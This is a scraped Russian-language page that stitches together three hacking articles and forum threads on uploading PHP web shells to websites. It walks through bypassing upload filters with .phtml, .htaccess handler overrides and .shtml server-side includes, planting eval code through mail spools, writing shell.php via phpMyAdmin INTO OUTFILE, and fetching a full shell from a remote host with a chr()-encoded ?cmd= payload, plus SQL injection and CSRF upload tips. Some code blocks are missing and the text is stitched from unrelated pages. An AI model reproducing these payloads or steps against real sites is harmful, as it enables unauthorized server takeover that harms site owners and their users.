Php как залить шелл

Не стандартное внедрение шелла на сайт

Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/.php.jpg/.php.abc.Варианты решения:

1 Phtml

Попробуйте залить .phtml — это также расширение семейства PHP.

2 htaccess

Создаём файлик .htaccess, и вписываем в него следующее:

AddType application/x-httpd-php .jpg AddHandler application/x-httpd-php .jpg

Сохраним.. там, где .jpg можете указать любой понравившийся вам формат, хоть .hacker ( 😀 ).
Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess’e
Примечание: .htaccess — файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов.

3 shtml

Если методы выше не работают, то расскажу о очень интересном формате — «.shtml».

SSI (Server Side Includes — включения на стороне сервера) — несложный язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Реализован в веб-сервере Apache при помощи модуля mod_include. Включённая в настройках по умолчанию веб-сервера возможность позволяет подключать HTML-файлы, поэтому для использования инструкций файл должен оканчиваться расширением .shtml, .stm или .shtm

Вся прелесть в том, что 95% администраторов либо вообще не знают что это такое, либо просто напросто забывают добавить этот формат в «чёрный список». А теперь советую поподробней прочитать, что это такое, залить такой файлик на сервер, и закачать шелл.
Также бывает, что если мы создадим файл file.shtm?cmd=. то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. «id» он выполнял, «ls» — тоже, а «uname -a» — нет, потому что содержит пробел. Таким образом все фишки типа «wget http://shell.com/shell.php» обламывались. Но не отчаиваетесь — выход есть:
Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её.
Код примера программы:

Читайте также:  Html meta noindex follow

P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают.

4 Tamper Data

Ну, а этот вариант — это использовать плагин на подобии «Tamper Data» (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript.

5 баг Windows

Пятый вариант — это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку «Обзор», то он показывает только файлы изображений, и т.п. Но не отчаивайтесь — просто нажмите на этот «Обзор» ( 😀 ) зайдите в директорию с шеллом, и наберите тут его имя:

44cabeff9d3cfdf6a0b55940549869c9.png

И нажмите «Открыть», шелл успешно откроется, и закачается 😉

6 jpg

Ну а этот метод не входит в «не стандартную» категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли — никакой фильтрации нету полностью (ну или уж через чур кривая 😀 )

7 mail

А этот способ предложил нам |qbz|:

Например у нас есть какая-нить CMS-ка или даже просто самописный двиг, в котором где-то, куда-то иногда отправляются письма. Например, с активацией регистрации и так далее. Дело в том, что такие письма могут быть локально сохранены на nix-системах. Если рассматривать как пример форму активации аккаунта, то введем, например, как логин eval($_GET['c']); а как свое мыло впишем apache@localhost. Таким образом письмо будет отправлено на тот же демон хттпд и сохранено где-то в /var/mail с именем юзера хттпд. Думаю далее действия очевидны, имея, например, локальный инклуд мы можем прогрузить шелл инклудя письмецо с передачей кода загрузки шелла в параметре $_GET['c'].

Способ №2 — Хитрости PhpMyAdmin

Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху 😉 ). И вписываем следующее:

UPDATE `table_name` SET `column_name_1` = '' WHERE `column_name_2` =[Значение] LIMIT 1 ; SELECT * FROM `table_name` WHERE `column_name_2` =[Значение] INTO OUTFILE '[Полный_путь_до_папки_с_правами_закачки_файла/shell.php]' ;

Теперь переходим по адресу

host.com/пут_до_той_папки_что_вы_указали/shells.php

Пояснения:
table_name — имя таблицы в БД.
column_name_1 — эта колонка, которую мы будем «изменять».
column_name_2 — это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users.
Это значит, что мы будем изменять запись в таблице users, где (любое число).
Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность — это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить «/» перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать ‘ .
Также можно вместо:

Eval выполняет функции php, как вы видите, это мини шелл. используют так:

host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php;

№3 — Что касается «Мини-шелла»

Итак, опять же допустим, что вы закачали «мини шелл», но теперь бы вам надо залить нормальный, WSO к примеру.
Пробуем:

http://host.ru/shell.php?cmd=$url = "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);

Но тут очень часто бывает облом — либо нельзя, чтобы был пробел, либо нельзя, чтобы были кавычки. «Заброшу ка я сервер» — наверное подумали вы.. но нет, конечно, вы правы, чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция «преобразовывает» ASCII в «обычный текст», таблицу таких символов можно взять тут — http://www.asciitable.com/ И соответственно, получаем код, к примеру (рабочий):

$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47 ).chr(47).chr(108).chr(101).chr(103).chr(105).chr( 111).chr(110).chr(101).chr(114).chr(115).chr(56).c hr(56).chr(46).chr(110).chr(97).chr(114).chr(111). chr(100).chr(46).chr(114).chr(117).chr(47).chr(101 ).chr(114).chr(114).chr(111).chr(114).chr(46).chr( 116).chr(120).chr(116);

Как видите, без кавычек, а тип будет String :p Так что теперь делаем код:

$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h);

И вставляем его в «?cmd shells.chr(46).php», а я объясню, 46 — это точка в «Dec», а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка — это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе «shells.php». Вот так, удачи Вам!

Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто пытался направить вас на путь, что выход есть всегда.

Источник

Php как залить шелл

Если вы нашли сайт, на котором не фильтруются входящие даные GET, то можно попробовать залить шелл.

_____________
Принимаю заказы, писать в ЛС

1) В адресную строку, после index.php укажите (name — заменить)

_____________
Принимаю заказы, писать в ЛС

2) Открываем страницу, куда сохранились наши данные. В адресную строку, после index.php укажите

http://xxx.ru/index.php?name=»&name2=schell.php&name3=

Теперь у нас есть форма, куда можно залить что угодно, в том числе и шелл.

_____________
Принимаю заказы, писать в ЛС

Вся информация предоставленна исключительно в ознакомительных целях, и автор не несёт ответственности за использование этого кода. Если вы нашли подобный косяк на чужом сайте, напишите его администратору, так и так, здесь вот.

_____________
Принимаю заказы, писать в ЛС

Администраторы скройте пжл эту тему, если есть такая возможность, а ещё лучше показывать у кого есть приличный рейтинг.

_____________
Принимаю заказы, писать в ЛС

Что значит не фильтруются?
echo $_GET[‘name’]; — это уже считается, что не фильтруются?
Куда сохраняются? В базу? На кой ляд в базе php код? Ну, форму html зальешь, а обработчик формы хде?

Покажи пример «дырявого» скрипта.

Медведь
А теперь выложи видео, что бы прям все наглядно было.

Попробовал по твоей инструкции, ничего не вышло:

Что бы выполнился PHP нужно что бы там не echo, а eval был!
Т.е. не:

Цитата (AllesKlar @ 20.05.2015 — 01:05)
Что значит не фильтруются?
echo $_GET[‘name’]; — это уже считается, что не фильтруются?
Куда сохраняются? В базу? На кой ляд в базе php код? Ну, форму html зальешь, а обработчик формы хде?

Смотрите внимательно там и форма и обработчик.

_____________
Принимаю заказы, писать в ЛС

_____________
Принимаю заказы, писать в ЛС

ну так выложи дырявый скрипт, все попробуем.

file_put_contents('shell.php', $_GET['name'];

Короче можно расходиться, Медведь всех обманул.

А что вы ждали? Сказку?
Через XSS нельзя заливать shell.

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).

Смотрите внимательнее. Шелл залил.

_____________
Принимаю заказы, писать в ЛС

Источник

Статья Способы загрузки шелла/бэкдора на сайт.

В этой статье я хочу рассказать о чаще используемых способах заливки шелла на сайт. Web-shell — это некий вредоносный скрипт (программа), который злоумышленники используют для управления сайтами или серверами.

Найти на сайте форму для загрузки файлов/картинок. Допустим нам не удалось взломать админку сайта и мы пытаемся залить наш шелл с расширением .php.jpg . Если удалось, то мы увидим вместо картинки белое окно, мы кликаем правой кнопкой мыши и переходим по ссылке. В случае провала мы можем воспользоваться расширением chrome tamper data. Оно позволяет перехватить и изменить запрос как вы хотите. Если сайт проверяет, расширение файла, то сначала мы можем залить .htaccess файл с содержимым:

AddType application/x-httpd-php .jpg


Воспользоваться программой для поиска админок на сайте — https://github.com/bdblackhat/admin-panel-finder. Когда программа нашла админку мы можем попробовать провести sql-injection. В поле логина и пароля сайта мы вбиваем код:

Если срабатывает, то мы попадаем в админку и действуем по 1 способу . Если же на сайте в панели администратора нет sql-injection, тогда мы можем попробовать сбрутить или же найти эксплоит под данную CMS.
Подробная видеоинструкция:

В 3 способе мы будем искать sql-injection на самом сайте. Мы может делать это вручную или же воспользуемся

. На форуме достаточно тем, как можно проводить инъекции, так что зайду издалека. Итак, вот мы уже нашли таблицу с логином и паролем админа расшифровываем хэши заходим в админку и радуемся. Но допустим мы не смогли расшифровать пароль и все накрылось медным тазом, тогда мы должны проверить привилегии нашего юзера. Проверяем привилегии и загружаем мини-шелл. По каким-то причинам когда я хочу вставить код сайт выдает ошбику .

4 способ подразумевает csrf атаку. В ниже приведенном коде нам нужно заменить http:// на ссылку нашей цели. Выбрать шелл и нажать кнопку upload.

. Никто и не отменял массовый взлом сайтов через уязвимости, но про это уже есть статья на форме.

Существует еще множество способов заливки шелла и рассказывать о каждом нет смысла. Если вы хотите потренироваться, то установите dvwa — это программа созданная для того, чтобы помочь профессионалам по безопасности протестировать их навыки и инструменты в легальном окружении .

Источник

Оцените статью